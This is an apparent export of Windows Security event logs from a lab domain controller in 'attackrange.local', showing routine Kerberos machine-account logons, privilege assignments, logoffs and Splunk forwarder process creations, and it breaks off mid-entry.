Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252085 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14EABC - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252084 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14EA5B - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252083 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14EA5B - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64591 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252082 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14EA5B - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252081 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14E9F5 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252080 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14E9F5 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::80c8:c9ac:2ea9:b5ba - Source Port: 64590 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252079 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14E9F5 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252078 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14E994 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252077 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14E994 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: fe80::1810:3209:f5ff:fef1 - Source Port: 64589 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252076 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14E994 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252075 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12b8 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x106c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252074 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x106c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" validate-strptime --log-warnings - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252073 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf54 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xc6c - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252072 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xc6c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\btool" check --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:00 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252071 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x111c - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" check-license - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252108 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1190 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xa98 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Process Command Line: "C:\Program Files\SplunkUniversalForwarder\bin\SplunkD.EXE" btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252107 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa98 - New Process Name: C:\Program Files\SplunkUniversalForwarder\bin\btool.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x110c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=252106 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x149E93 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x110c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x364 - Creator Process Name: C:\Program Files\SplunkUniversalForwarder\bin\splunk.exe - Process Command Line: C:\Windows\system32\cmd.exe /c btool server list general --no-log - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252105 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14F5F4 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252104 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14F5F4 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 10.0.1.14 - Source Port: 64596 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252103 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14F5F4 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252102 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14F593 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252101 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE.LOCAL - Logon ID: 0x14F593 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {B6CE28AD-513E-D291-9E71-4027479B73C8} - -Process Information: - Process ID: 0x0 - Process Name: - - -Network Information: - Workstation Name: - - Source Network Address: 2001:0:2851:782c:1810:3209:f5ff:fef1 - Source Port: 64595 - -Detailed Authentication Information: - Logon Process: Kerberos - Authentication Package: Kerberos - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=252100 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14F593 - -Privileges: SeSecurityPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeTakeOwnershipPrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeLoadDriverPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege - SeEnableDelegationPrivilege -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=252099 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x14F52D - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:50:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=252098 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Delegation - -New Logon: 